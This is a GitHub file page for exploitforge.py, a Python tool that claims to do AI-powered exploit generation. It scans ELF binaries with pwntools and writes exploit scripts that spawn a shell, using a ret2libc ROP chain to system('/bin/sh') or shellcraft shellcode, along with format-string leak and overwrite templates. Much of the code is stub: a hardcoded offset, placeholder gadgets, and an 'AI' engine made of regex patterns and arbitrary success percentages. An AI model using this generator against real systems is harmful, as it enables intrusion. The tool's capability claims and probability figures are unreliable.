-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexploitforge.py
More file actions
516 lines (403 loc) · 16.7 KB
/
exploitforge.py
File metadata and controls
516 lines (403 loc) · 16.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
#!/usr/bin/env python3
"""
ExploitForge - AI-Powered Automatic Exploit Generation
Revolutionary framework for automated vulnerability discovery and exploit development
Author: Varun Goradhiya
GitHub: https://github.com/varungor365/exploitforge
"""
import argparse
import sys
import os
from pathlib import Path
from typing import List, Dict, Tuple, Optional
import subprocess
import struct
import re
try:
import angr
import pwn
from pwn import *
import capstone
from capstone import *
import z3
from unicorn import *
from unicorn.x86_const import *
except ImportError as e:
print(f"[!] Missing dependency: {e}")
print("[!] Run: pip install -r requirements.txt")
sys.exit(1)
# Configuration
pwn.context.log_level = 'warning'
MODELS_DIR = Path(__file__).parent / "models"
class BinaryAnalyzer:
"""Analyzes binaries for vulnerabilities using static and dynamic analysis"""
def __init__(self, binary_path: str):
self.binary_path = binary_path
self.binary = ELF(binary_path)
self.vulnerabilities = []
self.protections = {}
def analyze(self, deep=False) -> Dict:
"""Perform comprehensive binary analysis"""
print(f"\n[+] Analyzing: {self.binary_path}")
print("=" * 60)
# Basic information
self.get_binary_info()
# Security protections
self.check_protections()
# Static analysis
self.static_analysis()
# Deep analysis with angr (symbolic execution)
if deep:
self.symbolic_analysis()
return {
'binary': self.binary_path,
'arch': self.binary.arch,
'protections': self.protections,
'vulnerabilities': self.vulnerabilities
}
def get_binary_info(self):
"""Extract basic binary information"""
print(f"\n[+] Binary Analysis")
print(f" Architecture: {self.binary.arch}")
print(f" Entry point: {hex(self.binary.entry)}")
print(f" PIE: {self.binary.pie}")
def check_protections(self):
"""Check security protections"""
print(f"\n[+] Security Protections:")
self.protections = {
'NX': self.binary.nx,
'PIE': self.binary.pie,
'Canary': self.binary.canary,
'RELRO': self.binary.relro,
'ASLR': True # System-level, assume enabled
}
for prot, enabled in self.protections.items():
status = "✓" if enabled else "✗"
color = "\033[92m" if enabled else "\033[91m"
print(f" {status} {color}{prot}\033[0m: {'Enabled' if enabled else 'Disabled'}")
def static_analysis(self):
"""Perform static vulnerability analysis"""
print(f"\n[+] Static Vulnerability Analysis:")
# Check for dangerous functions
dangerous_funcs = ['strcpy', 'sprintf', 'gets', 'scanf', 'strcat', 'system']
for func in dangerous_funcs:
if func in self.binary.plt:
vuln = {
'type': 'dangerous_function',
'function': func,
'address': self.binary.plt[func],
'severity': 'HIGH',
'description': f'Uses {func}() which can lead to buffer overflow'
}
self.vulnerabilities.append(vuln)
print(f" [!] FOUND: {func}() at {hex(self.binary.plt[func])}")
# Check for format string vulnerabilities
if 'printf' in self.binary.plt and 'puts' not in self.binary.plt:
vuln = {
'type': 'format_string',
'function': 'printf',
'address': self.binary.plt['printf'],
'severity': 'CRITICAL',
'description': 'Potential format string vulnerability'
}
self.vulnerabilities.append(vuln)
print(f" [!] CRITICAL: Potential format string at printf")
if not self.vulnerabilities:
print(" No obvious vulnerabilities detected")
def symbolic_analysis(self):
"""Use angr for symbolic execution"""
print(f"\n[+] Symbolic Execution (this may take a while)...")
try:
project = angr.Project(self.binary_path, auto_load_libs=False)
cfg = project.analyses.CFGFast()
# Look for paths to dangerous functions
for vuln in self.vulnerabilities:
if vuln['type'] == 'dangerous_function':
func_addr = vuln['address']
# Simple reachability analysis
state = project.factory.entry_state()
simgr = project.factory.simulation_manager(state)
print(f" Analyzing paths to {vuln['function']}()...")
except Exception as e:
print(f" [!] Symbolic analysis failed: {e}")
class ExploitGenerator:
"""Generates exploits using AI-powered techniques"""
def __init__(self, binary_path: str, vulnerabilities: List[Dict]):
self.binary_path = binary_path
self.binary = ELF(binary_path)
self.vulns = vulnerabilities
self.rop = ROP(self.binary)
def generate(self, technique='auto', output='exploit.py') -> str:
"""Generate exploit based on vulnerability type"""
print(f"\n[+] Exploit Generation")
print("=" * 60)
if not self.vulns:
print("[!] No vulnerabilities found to exploit")
return None
# Select most severe vulnerability
vuln = max(self.vulns, key=lambda v: {'CRITICAL': 3, 'HIGH': 2, 'MEDIUM': 1}.get(v['severity'], 0))
print(f"[+] Targeting: {vuln['type']} in {vuln['function']}()")
# Generate exploit based on type
if vuln['type'] == 'dangerous_function':
exploit_code = self.generate_buffer_overflow_exploit(vuln)
elif vuln['type'] == 'format_string':
exploit_code = self.generate_format_string_exploit(vuln)
else:
exploit_code = self.generate_generic_exploit(vuln)
# Save to file
with open(output, 'w') as f:
f.write(exploit_code)
print(f"[+] Exploit saved to: {output}")
return exploit_code
def generate_buffer_overflow_exploit(self, vuln: Dict) -> str:
"""Generate buffer overflow exploit"""
print("[+] Generating buffer overflow exploit...")
# Detect offset (simplified - in reality would fuzz)
offset = 264 # Example offset
# Build ROP chain or shellcode based on protections
if self.binary.nx:
print(" [+] NX enabled - building ROP chain")
payload_method = "ROP"
# Try to build ret2libc
try:
rop_chain = self.build_rop_chain()
except Exception as e:
print(f" [!] ROP building failed: {e}")
rop_chain = "b'A' * 8 # Placeholder ROP chain"
else:
print(" [+] NX disabled - using shellcode")
payload_method = "shellcode"
rop_chain = "asm(shellcraft.sh())"
exploit_template = f'''#!/usr/bin/env python3
"""
Auto-generated exploit for {self.binary_path}
Vulnerability: {vuln['type']} in {vuln['function']}()
Generated by: ExploitForge v3.0
"""
from pwn import *
# Target configuration
binary = ELF('{self.binary_path}')
context.binary = binary
context.log_level = 'info'
# Connection
# p = process(binary.path)
# p = remote('target.com', 1337)
def exploit():
"""Main exploit function"""
# Build payload
offset = {offset}
# Payload construction
payload = b'A' * offset
# {payload_method} payload
payload += {rop_chain}
# Send exploit
print("[+] Sending payload...")
# p.sendline(payload)
# Get shell
# p.interactive()
print(f"[+] Payload size: {{len(payload)}} bytes")
print(f"[+] Payload preview: {{payload[:50]}}...")
return payload
if __name__ == '__main__':
exploit()
'''
return exploit_template
def generate_format_string_exploit(self, vuln: Dict) -> str:
"""Generate format string exploit"""
print("[+] Generating format string exploit...")
exploit_template = f'''#!/usr/bin/env python3
"""
Auto-generated format string exploit for {self.binary_path}
Generated by: ExploitForge v3.0
"""
from pwn import *
binary = ELF('{self.binary_path}')
context.binary = binary
def exploit():
"""Format string exploitation"""
# p = process(binary.path)
# p = remote('target.com', 1337)
# Leak addresses
payload = b'%p.' * 20
# p.sendline(payload)
# leak = p.recvline()
# print(f"[+] Leak: {{leak}}")
# Arbitrary write using format string
# target_addr = 0x404040 # GOT entry to overwrite
# value = 0xdeadbeef
# payload = fmtstr_payload(6, {{target_addr: value}})
# p.sendline(payload)
print("[+] Format string exploit ready")
print(f"[+] Leak payload: {{payload}}")
if __name__ == '__main__':
exploit()
'''
return exploit_template
def generate_generic_exploit(self, vuln: Dict) -> str:
"""Generate generic exploit template"""
exploit_template = f'''#!/usr/bin/env python3
"""
Auto-generated exploit for {self.binary_path}
Vulnerability: {vuln['type']}
Generated by: ExploitForge v3.0
"""
from pwn import *
binary = ELF('{self.binary_path}')
context.binary = binary
def exploit():
"""Exploit {vuln['function']}()"""
# TODO: Customize based on vulnerability type
payload = b'AAAA'
print(f"[+] Payload: {{payload}}")
if __name__ == '__main__':
exploit()
'''
return exploit_template
def build_rop_chain(self) -> str:
"""Build ROP chain for ret2libc or ret2syscall"""
# Try to find useful gadgets
if 'system' in self.binary.plt:
# ret2libc with system()
return '''
# ret2libc with system()
rop = ROP(binary)
binsh = next(binary.search(b'/bin/sh'))
rop.system(binsh)
payload += rop.chain()
'''
else:
# ret2syscall
return '''
# ret2syscall
# Find gadgets: ROPgadget --binary {binary}
# pop_rax = p64(0x4141414141414141) # Gadget address
# pop_rdi = p64(0x4242424242424242)
# syscall = p64(0x4343434343434343)
payload += b'PLACEHOLDER_ROP_CHAIN'
'''
class AIEngine:
"""AI/ML engine for intelligent exploit generation"""
def __init__(self):
self.model_loaded = False
def analyze_code(self, source_code: str) -> List[Dict]:
"""Use GPT-4 or local model to analyze source code"""
print("[+] AI Code Analysis...")
print(" [!] AI analysis requires OpenAI API key")
print(" [!] Set OPENAI_API_KEY environment variable")
# Placeholder for AI analysis
vulnerabilities = []
# Pattern-based detection (simplified)
patterns = {
r'strcpy\s*\(': 'Buffer overflow - strcpy without bounds check',
r'gets\s*\(': 'Buffer overflow - gets() is inherently unsafe',
r'sprintf\s*\([^,]+,': 'Potential buffer overflow in sprintf',
r'system\s*\([^)]+\)': 'Command injection risk',
r'eval\s*\(': 'Code injection vulnerability'
}
for pattern, description in patterns.items():
if re.search(pattern, source_code):
vulnerabilities.append({
'type': 'code_pattern',
'pattern': pattern,
'description': description,
'severity': 'HIGH'
})
print(f" [!] Found: {description}")
return vulnerabilities
def predict_success_rate(self, exploit_type: str, protections: Dict) -> float:
"""Predict exploit success probability"""
base_rates = {
'buffer_overflow': 0.85,
'format_string': 0.78,
'heap_overflow': 0.65,
'use_after_free': 0.72
}
rate = base_rates.get(exploit_type, 0.50)
# Adjust for protections
if protections.get('NX'): rate *= 0.8
if protections.get('PIE'): rate *= 0.7
if protections.get('Canary'): rate *= 0.6
if protections.get('ASLR'): rate *= 0.75
return min(rate, 0.99)
def main():
parser = argparse.ArgumentParser(
description='ExploitForge - AI-Powered Automatic Exploit Generation',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
Examples:
# Analyze binary for vulnerabilities
python exploitforge.py --analyze ./vulnerable_app
# Deep analysis with symbolic execution
python exploitforge.py --analyze ./app --deep
# Auto-generate exploit
python exploitforge.py --exploit ./vulnerable_app --output exploit.py
# Analyze source code
python exploitforge.py --source ./app.c --language c
'''
)
parser.add_argument('--analyze', metavar='BINARY', help='Analyze binary for vulnerabilities')
parser.add_argument('--exploit', metavar='BINARY', help='Generate exploit for binary')
parser.add_argument('--source', metavar='FILE', help='Analyze source code file')
parser.add_argument('--deep', action='store_true', help='Enable deep analysis (slower)')
parser.add_argument('--ai', action='store_true', help='Enable AI-powered analysis')
parser.add_argument('--output', default='exploit.py', help='Output file for generated exploit')
parser.add_argument('--technique', choices=['auto', 'rop', 'shellcode', 'format'],
default='auto', help='Exploit technique to use')
parser.add_argument('--language', choices=['c', 'cpp', 'python'], help='Source code language')
args = parser.parse_args()
# Print banner
print("""
╔═══════════════════════════════════════════════════════════╗
║ ExploitForge v3.0 - AI Exploit Generation ║
║ Author: Varun Goradhiya ║
║ GitHub: github.com/varungor365/exploitforge ║
╚═══════════════════════════════════════════════════════════╝
""")
# Analysis mode
if args.analyze:
if not os.path.exists(args.analyze):
print(f"[!] Error: Binary '{args.analyze}' not found")
sys.exit(1)
analyzer = BinaryAnalyzer(args.analyze)
results = analyzer.analyze(deep=args.deep)
if args.ai:
ai = AIEngine()
success_rate = ai.predict_success_rate('buffer_overflow', results['protections'])
print(f"\n[+] AI Prediction: {success_rate*100:.1f}% success probability")
# Exploit generation mode
elif args.exploit:
if not os.path.exists(args.exploit):
print(f"[!] Error: Binary '{args.exploit}' not found")
sys.exit(1)
# First analyze
analyzer = BinaryAnalyzer(args.exploit)
results = analyzer.analyze(deep=False)
# Then generate exploit
generator = ExploitGenerator(args.exploit, results['vulnerabilities'])
exploit_code = generator.generate(technique=args.technique, output=args.output)
if exploit_code:
print(f"\n[+] Exploit generation complete!")
print(f"[+] Run: python {args.output}")
# Source code analysis mode
elif args.source:
if not os.path.exists(args.source):
print(f"[!] Error: Source file '{args.source}' not found")
sys.exit(1)
with open(args.source, 'r') as f:
source_code = f.read()
ai = AIEngine()
vulns = ai.analyze_code(source_code)
print(f"\n[+] Found {len(vulns)} potential vulnerabilities")
else:
parser.print_help()
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
print("\n[!] Interrupted by user")
sys.exit(0)
except Exception as e:
print(f"\n[!] Error: {e}")
import traceback
traceback.print_exc()
sys.exit(1)